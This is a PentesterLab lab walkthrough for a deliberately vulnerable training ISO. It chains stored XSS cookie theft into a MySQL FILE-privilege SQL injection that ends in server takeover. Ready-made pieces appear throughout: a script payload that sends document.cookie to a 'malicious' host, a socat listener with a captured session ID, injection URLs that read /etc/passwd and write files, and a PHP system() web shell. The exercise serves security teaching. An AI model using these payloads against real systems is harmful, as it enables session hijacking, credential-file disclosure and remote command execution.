XSS and MySQL FILE
This exercise explains how to exploit a Cross-Site Scripting vulnerability to obtain an administrator's cookies, and how you can use their session to gain access to the administration panel, and find a SQL injection to gain code execution
This course details the exploitation of a Cross-Site Scripting in a PHP based website and how an attacker can use it to gain access to the administration pages. Through this access, the attacker will be able to gain code execution on the server using a SQL injection.
The attack is divided into 2 steps:
- Detection and exploitation of Cross-Site Scripting vulnerabilities: in this part, you will learn how to detect and exploit Cross-Site Scripting vulnerabilities.
- Access to the administration pages, then find and exploit a SQL injection to gain code execution.
The ISO contains a script that runs automatically every minute. This script simulates an administrator visiting every page of the website.
Cross-Site Scripting stems from a lack of encoding when information gets sent to application's users. This can be used to inject arbitrary HTML and JavaScript code; the result being that this payload runs in the web browser of legitimate users. As opposed to other attacks, XSS vulnerabilities target an application's users, instead of directly targeting the server.
To detect trivial Cross-Site Scripting vulnerabilities, the easiest way is to find non-encoded values echoed back on the page. For example, you can use the following commonly used characters in HTML: '"><
. If these characters don't get properly encoded, you may be able to write your own HTML/JavaScript and get it to be rendered in victim's browser. You can add a marker to easily find your payload in the page, for example: 1337'"><
.
Your payload can appear in the following ways in the page sent back by the server (and/or any other pages in the application, including pages you may not have access to):
Payload | Result | Exploitability |
1337'">< | 1337'">< | No encoding performed, you can get a Cross-Site Scripting using <script> tag. |
1337'">< | 1337'">< | > and < are encoded, you can still find some Cross-Site Scripting bugs if you can inject directly inside a <script> tag, or in some tags like <a tag and <img tag. Also this encoding may not be applied everywhere. |
1337'">< | 1337'">< | This is the encoding performed by a lot of filters. You can still get JavaScript to execute if you are injecting inside a <script> tag where your entry point is delimited by a single quote |
1337'">< | 1337'">< | With this encoding, you will still be able to get JavaScript executed in very limited cases. For example, if the value is directly echoed without single or double quote <a id=[INPUT] or if you control a URL for example <a href="[INPUT]" and you can use the JavaScript handler: javascript:... |
Once you find where the information you provided is not correctly encoded, the first thing is to ensure that the victim (here the script running on the ISO) has access to your system. You need to make sure the ISO can access the server where you will send the information to (using the XSS). Ensure there is no firewall blocking the ISO from accessing your malicious server.
A lot can go wrong and can prevent a successful exploitation, and you will need to make sure that you have the correct syntax.
Our goal here, is to get the victim's cookie. To do so, you can create a comment that include the following payload:
<script>document.write('<img src="http://malicious/?'+document.cookie+'"/>');</script>
Where malicious
is the IP address or hostname of your server. When the comment will is loaded by the victim, the content of the <script>
tag will get interpreted and will write (due to the call to document.write
) in the page an <img
tag with a URL that contains the cookie. The browser will then try to load this image. Since the image's URL contains the cookie, the malicious server will receive it.
On your server, you can run Apache or any web server, the only thing is that you need to be able to read the logs of all HTTP requests.
You can also use socat
to get the requests from the victim:
# socat TCP-LISTEN:80,reuseaddr,fork -
Once the victim visits your malicious server (here simulated by a script in the ISO running every minute), their browser will evaluate the payload and sent their cookie to your malicious server:
# socat TCP-LISTEN:80,reuseaddr,fork -
GET /?PHPSESSID=07st4kqcbdr2ddrd4naalt9504 HTTP/1.1
User-Agent: Mozilla/5.0 (Unknown; Linux i686) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.1 Safari/534.34
Referer: http://127.0.0.1/post.php?id=2
Accept: */*
Connection: Keep-Alive
Accept-Encoding: gzip
Accept-Language: en-US,*
Host: malicious
We now have the cookie of the victim: PHPSESSID=07st4kqcbdr2ddrd4naalt9504
.
Once you get the cookie, you can use a cookie editor or the Developer Tools
to set your cookie to the value you stole using the XSS:
Once you set this cookie properly, you should be able to access the administration interface by clicking on the admin
link on the main page:
Now, that you have more access, it's time to find another vulnerability to get a shell.
If you are not confident enough to find the SQL injection by yourself, you should look into our previous exercise: From SQL Injection To Shell.
The FILE
privilege allows MySQL users to interact with the file system. If you have direct access to the database, you can gather a list of users with this privilege by running:
SELECT user FROM mysql.user WHERE file_priv='Y';
If the current user has the FILE
privilege and you have a SQL injection, you will be able to read and write files on the system. You will have the same access level as the user running the MySQL server.
First, you will need to find the vulnerable page. Once you find it, you can start retrieving information.
If you followed our previous exercise From SQL Injection To Shell, retrieving information from the database should become an easy task. Here we will just retrieve the current user (using the MySQL function user()
) using a UNION SELECT
:
We can confirm that we have file access by reading arbitrary files on the system. Using the MySQL load_file
function (and UNION SELECT
) we can retrieve the content of /etc/passwd
:
Now that we can read files, we can try to create a file. The idea is to create a PHP file that we will then access using our browser. First, we will try to get the current path. To get the current path, the easiest way is to get PHP to generate an error. You can, for example, use the common PHP array (id[]=
) trick:
Now that we have the current path: /var/www/classes/post.php
(/var/www
being the default on Debian), we can try to find somewhere the mysql
user (default user on Debian) has write-access on.
The best way to do it's to try directories recursively:
/var/www/classes
:http://vulnerable/admin/edit.php?id=1%20union%20select%201,2,3,4%20into%20outfile%20%22/var/www/classes/s.php%22
./var/www/
:http://vulnerable/admin/edit.php?id=1%20union%20select%201,2,3,4%20into%20outfile%20%22/var/www/s.php%22
.
Unfortunately, no file gets created on the server and Apache returns a 404
error page:
If we keep browsing the website and look at the HTML source, we can find a /css
directory. When we try it http://vulnerable/admin/edit.php?id=1%20union%20select%201,2,3,4%20into%20outfile%20%22/var/www/css/s.php%22
, we can see that a file has been created:
Now that we can create files on the server, we will use this to deploy a Web Shell. The Web Shell will contain some PHP code to run arbitrary commands:
<?php
system($_GET['c']);
?>
We are going to put this PHP code in one of the column of our payload: http://vulnerable/admin/edit.php?id=1%20union%20select%201,2,%22%3C?php%20system($_GET[%27c%27]);%20?%3E%22,4%20into%20outfile%20%22/var/www/css/z.php%22
and create the file on the server.
When we try to access the PHP page and by adding the c
parameter for our script http://vulnerable/css/z.php?c=uname%20-a"
, we get arbitrary command execution:
This exercise showed you how to manually detect and exploit Cross-Site Scripting vulnerabilities and SQL injections with the FILE
privilege. First, the Cross-Site Scripting vulnerability allowed you to gain access to the administration pages. Once in the "trusted zone", more functionalities are available which lead to more vulnerabilities. Using the fact that the MySQL user had high privileges you were able to gain code execution on the server by deploying a Web Shell through a SQL injection. This shows how defence-in-depth and lowering privileges could have slow down an attacker, and perhaps limit/prevent the full compromise of the server.
I hope you enjoyed learning with PentesterLab.